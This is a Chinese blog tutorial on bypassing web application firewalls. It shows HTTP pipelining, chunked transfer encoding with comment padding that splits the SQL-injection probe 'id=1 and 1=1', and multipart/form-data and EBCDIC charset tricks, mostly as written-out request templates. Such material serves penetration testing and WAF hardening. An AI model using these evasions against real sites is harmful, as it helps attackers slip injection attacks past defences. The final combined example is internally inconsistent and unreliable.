首页 > 其他分享 >WAF bypass

WAF bypass

时间:2023-03-05 22:57:21浏览次数:34  
标签:HTTP form -- WAF Content xx bypass test

WAF bypass

pipline

phpline绕过利用了HTTP的管道化技术,HTTP遵循请求模型,发起A请求,回复A请求的响应,WAF也如此,利用这个原理使用管道化连接可以在发起请求的同时发送多个HTTP请求。
这种方法绕过WAF的原因是WAF拦截到数据包检测Content-length,超出长度部分作为没用的数据放行了从而达到绕过。

1、在BP中去掉勾选“ Content-Length更新 ”
2、将数据包中 Connection 从 close 修改为持久连接的状态,即 keep-alive
3、保持Content-Length的值不变,将数据包复制到原数据包内容后面的位置,测试过程只需要带一个cookie。

example

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Length:4
Connection:keep-alive

id=1POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
.................
Content-Length:4
Connection:keep-alive

id=1

分块传输

分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许数据分为多个部分,仅在HTTP/1.1中提供。
长度值为十六进制,也可以通过在长度值后面加上分号做注释,来提高绕过WAF的概率

需要在请求头添加 “Transfer-Encoding=chunked” 才支持分块传输
原始	Payload
id=1 and 1=1
分块传输 Payload
3;注释内容
id=
1;注释内容
1
3;注释内容
 an
1;xxxx
d
4;xxxx
 1=1
0;xxxx

协议覆盖

HTTP协议覆盖绕过,也叫边界传输绕过,是通过一种http传文件的协议,同时也可以传数据。
绕过waf原理是waf没有考虑到这种协议可以传数据直接当做文件放行了

HTTP协议覆盖绕过是通过更换Content-Type的类型来绕过WAF的检测。
以下是四种常见的Content-Type

text/html
application/json
application/x-www-form-urlencoded
multipart/form-data

WAF对multipart/form-data协议的检测比较少,或者把他当作文件上传来检查,可利用这个特性对WAF进行绕过。
其中boundary后面的test不固定,它的作用代表分隔符,--test开始,--test--结束。
正常POST请求方式是“id=123”,但在 "multipart/form-data" 协议内发送id=123,需要 “form-data:name="id”,然后空一行输入123。

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test--

当然,也可以通过加密来进一步增加绕过WAF的概率。
通过在Content-Type类型后面加入 "charset=ibm500","charset=ibm037" 编码

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test--

两个参数可用两次分隔符来传输

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89

--test
Content-Disposition:form-data;name="id"

123
--test
Content-Disposition:form-data;name="submit"

提交
--test--

组合

协议覆盖+分块传输

POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89

1;fankfandlnvlanslfnaldnf
-
1;adjanknvkzxnvlur
-
1;hakdnlanslciaosff
t
3;jaddlnlxiocjoana
est


标签:HTTP,form,--,WAF,Content,xx,bypass,test
From: https://www.cnblogs.com/IceSeclude/p/17182073.html

相关文章

  • DVWA 之 CSP Bypass - 浏览器内容安全策略绕过
    十一、CSPBypass-浏览器内容安全策略绕过原理HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。为了缓解潜在的跨站脚本问题,浏览器的扩......
  • waf2 开发分录里面的最后的合计不会自动更新,貌似是个bug。变通处理
    afterSaveCell:function(rowid,cellname,value,iRow,Col,oldValue){if(cellname=="moneyyuan"){waf("#editGrid").wafGrid('calcFooterData');//刷......
  • Centos7-nginx配置Modsecurity实现Web应用防火墙(WAF)
    1:安装依赖yuminstall-ygcc-c++flexbisonyajlyajl-develcurl-develcurlGeoIP-develdoxygenzlib-develpcre-devellmdb-devellibxml2-develssdeep-devellu......
  • 安全狗Bypass
    安全狗BypassNo.1内联注释(/*![12345]*/)绕过方法:/*!select*/:相当于没有注释/*!12345select*/:当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注......
  • Windows黑客编程之Bypass UAC
    描述用管理员权限运行CompMgmtLauncher.exe,由于它是白名单程序,不会被UAC拦截,可以直接以管理员权限运行CompMgmtLauncher的功能是去遍历指定注册表路径下的程序,并启动只......
  • 一台服务器部署ShareWAF,后面接多台Web服务器,该如何配置?
    ShareWAF做为WAF,可以不只是WAF,还可以充当负载或路由的角色。比如可以有这样一种部署架构: 在此结构中,ShareWAF部署于一台服务器,后面接多台独立的WEB服务器。ShareWAF......
  • ShareWAF 软件&云形态安装部署说明
    一、常用文件说明sharewaf.js:主程序daemon.js:主程序守护程序oem.js:OEM定制文件developer.js:二次开发接口rules.js:自定义规则文件regexp.js:正则防护规则文件developer.js:自......
  • WAF Bypass 介绍与实战
    前言WAF是英文"WebApplicationFirewall"的缩写,中文意思是"Web应用防火墙",也称为"网站应用级入侵防御系统"。WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB......
  • JNDI Bypass
    由于jndi注入的原理就是远程对象访问可控,Reference恶意类反序列化造成的。这里梳理一下JNDI的过程。放一张@bitterz师傅的图其中第一和第二步也就是我们正常的rmi通信......
  • 记录一起因为阿里云waf防火墙造成公司网站出现405 Method Not Allowed
    公司商城网站是客户访问请求会先到阿里云的CDN在到阿里云的waf防火墙,最后到源站服务器公司商城网站访问刷新5-6次就会出现 405MethodNotAllowed从字面上的意思理解,很......